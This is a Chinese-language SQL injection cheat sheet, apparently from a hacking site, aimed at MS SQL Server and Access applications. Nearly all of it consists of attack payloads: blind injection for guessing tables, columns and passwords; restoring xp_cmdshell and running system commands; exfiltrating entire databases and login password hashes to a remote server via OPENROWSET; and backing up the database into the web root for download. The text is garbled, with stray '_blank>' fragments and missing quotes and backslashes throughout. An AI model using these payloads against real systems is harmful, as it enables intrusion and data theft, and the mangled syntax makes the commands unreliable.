sql注入中常用的语句

1.判断有无注入点
; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的 ASSIC码就OK.最后把结果再转换成字符.

看_blank>数据库连接账号的权限，返回正常，证明是 _blank>服务器角色sysadmin权限。
and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–

判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(Select System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–

看xp_blank>_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)–

xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:inetpubwwwrootxplog70.dll–

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧：:%5c= 或者把/和 修改%5提交
and 0<>(select top 1 paths from newtable)–

得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名 ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–

insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名

[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>[漏洞](https://www.exehack.net/tag/%e6%bc%8f%e6%b4%9e "【查看含有[漏洞]标签的文章】")建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

基本语法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表（HASH）登录_blank>密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。

遍历目录的方法： 先创建一个临时表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:webindex.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c: *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– （xp_blank>_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2：and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin));–
语句3：and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4：and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5：and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
语句6：and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7：and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8：and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句9：and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–

把路径写到表中去：
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:web–
and 0<>(select top 1 paths from dirs1)–

把_blank>数据库备份到网页目录：下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:webdown.bak;–

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
